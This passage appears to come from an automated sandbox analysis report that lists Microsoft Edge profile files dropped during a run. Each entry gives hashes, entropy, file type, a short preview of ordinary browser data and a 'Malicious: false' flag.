SHA-512:	2848FF5A62E5E46688597B5DF5FA7F46E6BE0B688D8B02ED363F8EFD950EB620A0F9F92FD55413F9801BE836F9721BE3C2ED60981359CAAEF3AD4EB3A468A24A
Malicious:	false
Preview:	...4z................VERSION.1..META:https://ntp.msn.com............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":449}.!_https://ntp.msn.com..LastKnownPV..1731396635085.-_https://ntp.msn.com..LastVisuallyReadyMarker..1731396636437.._https://ntp.msn.com..MUID!.048A31DB7A676AF1398424EE7B306B35.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1731396635161,"schedule":[30,38,16,-1,-1,-1,-1],"scheduleFixed":[30,38,16,-1,-1,-1,-1],"simpleSchedule":[9,33,23,17,34,22,51]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1731396635051.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241112.37"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.056203830807206
Encrypted:	false
SSDEEP:	6:HU4ud0ywIq2P923oH+Tcwt8a2jMGIFUt8YU4ud02Zmw+YU4udwRFzkwO923oH+Tg:9yhv4Yeb8EFUt8A2/+URF5LYeb8bJ
MD5:	B12C8AA19691357D838295673EBA7C6C
SHA1:	B1EFF92DBC3DAE926FCA913C6AE87394CE6202EE
SHA-256:	4DD582A8F7051BD95BD703B29D4F92090E6A0F68821FB426D7C34E294B8E3D4B
SHA-512:	0A7604E4CE0CC72A4B6CAB08DDA6CE9780D5C763BA374566C494C3629BC59A1C0A6F5D356B2AA6F65747811970163B7F0AD6C64B102A434EF717AB5369FD481B
Malicious:	false
Preview:	2024/11/12-02:30:26.141 1e14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/12-02:30:26.142 1e14 Recovering log #3.2024/11/12-02:30:26.231 1e14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.056203830807206
Encrypted:	false
SSDEEP:	6:HU4ud0ywIq2P923oH+Tcwt8a2jMGIFUt8YU4ud02Zmw+YU4udwRFzkwO923oH+Tg:9yhv4Yeb8EFUt8A2/+URF5LYeb8bJ
MD5:	B12C8AA19691357D838295673EBA7C6C
SHA1:	B1EFF92DBC3DAE926FCA913C6AE87394CE6202EE
SHA-256:	4DD582A8F7051BD95BD703B29D4F92090E6A0F68821FB426D7C34E294B8E3D4B
SHA-512:	0A7604E4CE0CC72A4B6CAB08DDA6CE9780D5C763BA374566C494C3629BC59A1C0A6F5D356B2AA6F65747811970163B7F0AD6C64B102A434EF717AB5369FD481B
Malicious:	false
Preview:	2024/11/12-02:30:26.141 1e14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/12-02:30:26.142 1e14 Recovering log #3.2024/11/12-02:30:26.231 1e14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\61fc58c2-7b1d-440e-978e-45be18c20fa2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\7ecf6e47-3294-4253-9ea8-4824354e5bf4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\945b4e83-4a0c-4454-8472-9851526fd5a1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.8236524723533707
Encrypted:	false
SSDEEP:	96:te+AurDGf/DuNpvE79GOIG9BUSWgjwfdG6hmJntkE90n/0c4p0L/ZJV8Y:tTrDYDAEhHv92xuHlntV60c4p0L/ZJVb
MD5:	DA27358C9CC8B24A6E36D2D964CCFC80
SHA1:	7D528752A89263D3B6264D73D3490E8AAB99A5BE
SHA-256:	41C217C9C1517DF385017F81BA26BF5D651C3E02C2F506F672CEEA86808C0660
SHA-512:	F19C35820F3634AAB12E38C4E54C012A92173EB176A85A92BB283B4134D4A55BEE6CEDDE53D939910CB8B28C79C36BD3F20402839F0D62E516966B22350EEDC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF499cb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.3227768960514914
Encrypted:	false
SSDEEP:	48:T6IopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBqs5:OIEumQv8m1ccnvS6j9ptaD62RSXcyv
MD5:	1D45B78BD2ADFD7ADB410FD456527BFB
SHA1:	F9AFDC44C3213255433047D3BC77DB15D430BC78
SHA-256:	9F2699846196C8A738F938445D51D5DD42296CC80E1788FF3011F9744ABCC7BB
SHA-512:	7C3D235120EAEDB2F144F696CEE02A4A1C1103E782D0DD2682C7B12EE5BFF9CB11464D5F95C3184AFD46B8BF29FDDED607F17D0744E1880D134A1DE486C43FC4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF38936.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF392cb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a6eff4a0-ebbd-4893-ad52-3656aaa9cd40.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\aad28802-606a-46ac-8796-f6f4e93549f2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1789
Entropy (8bit):	5.329899422830451
Encrypted:	false
SSDEEP:	48:YcgCzsZtsrfc7leeBakEsVeCgHPsQCgHFbxo+:F2M2keBakheTFTFVo+
MD5:	CD09AFB56BA4F4E65F8D55E45E5EC1D4
SHA1:	826C3E403CF659E7A9B5CB2A63A23495866EC646
SHA-256:	1317806B9B425F302E45551A810EB7B01F9699C4B4B3EF57464813DA8CC75A93
SHA-512:	72914F9050B65CCDA7641E2D7613B52297E30ED8247599F487C221EA03B79D9706AFBEDDB2730B06813F99E0907586C32E3CCDB6D9F9CD50792B6E096DF6A01B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378462228161599","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378462230158200","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\f03189bf-1d88-400c-bd9d-ac9918dba4b4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13177
Entropy (8bit):	5.223962139443055
Encrypted:	false
SSDEEP:	384:st/+PGQSu4xsyJfhzD+HbGtQwu6WtaTYU:s4OXu8JfRCHbGehBaTYU
MD5:	811FA4DD10CEB79754827A7E7A6CDAC3
SHA1:	BECCF9A526A0BBFD98CB6D77A57BE10CB1AE8227
SHA-256:	7EA42E42D2D1A34EE9F9B5E4949B9F393A59EFD4E29EE8BEC56285E5C44768D3
SHA-512:	804E9AEDE7C79B78FA15F9CEC8E3397B928D267FB44FCD32752A2BF51B01650A4622188ED481898D83E584E9760709E2C68B7EB44FD531B2BFB39C52511076BA
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375870226440232","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3c871.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13177
Entropy (8bit):	5.223962139443055
Encrypted:	false
SSDEEP:	384:st/+PGQSu4xsyJfhzD+HbGtQwu6WtaTYU:s4OXu8JfRCHbGehBaTYU
MD5:	811FA4DD10CEB79754827A7E7A6CDAC3
SHA1:	BECCF9A526A0BBFD98CB6D77A57BE10CB1AE8227
SHA-256:	7EA42E42D2D1A34EE9F9B5E4949B9F393A59EFD4E29EE8BEC56285E5C44768D3
SHA-512:	804E9AEDE7C79B78FA15F9CEC8E3397B928D267FB44FCD32752A2BF51B01650A4622188ED481898D83E584E9760709E2C68B7EB44FD531B2BFB39C52511076BA
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375870226440232","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF414dc.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13177
Entropy (8bit):	5.223962139443055
Encrypted:	false
SSDEEP:	384:st/+PGQSu4xsyJfhzD+HbGtQwu6WtaTYU:s4OXu8JfRCHbGehBaTYU
MD5:	811FA4DD10CEB79754827A7E7A6CDAC3
SHA1:	BECCF9A526A0BBFD98CB6D77A57BE10CB1AE8227
SHA-256:	7EA42E42D2D1A34EE9F9B5E4949B9F393A59EFD4E29EE8BEC56285E5C44768D3
SHA-512:	804E9AEDE7C79B78FA15F9CEC8E3397B928D267FB44FCD32752A2BF51B01650A4622188ED481898D83E584E9760709E2C68B7EB44FD531B2BFB39C52511076BA
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375870226440232","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF48a0c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13177
Entropy (8bit):	5.223962139443055
Encrypted:	false
SSDEEP:	384:st/+PGQSu4xsyJfhzD+HbGtQwu6WtaTYU:s4OXu8JfRCHbGehBaTYU
MD5:	811FA4DD10CEB79754827A7E7A6CDAC3
SHA1:	BECCF9A526A0BBFD98CB6D77A57BE10CB1AE8227
SHA-256:	7EA42E42D2D1A34EE9F9B5E4949B9F393A59EFD4E29EE8BEC56285E5C44768D3
SHA-512:	804E9AEDE7C79B78FA15F9CEC8E3397B928D267FB44FCD32752A2BF51B01650A4622188ED481898D83E584E9760709E2C68B7EB44FD531B2BFB39C52511076BA
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375870226440232","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38626
Entropy (8bit):	5.554662261296419
Encrypted:	false
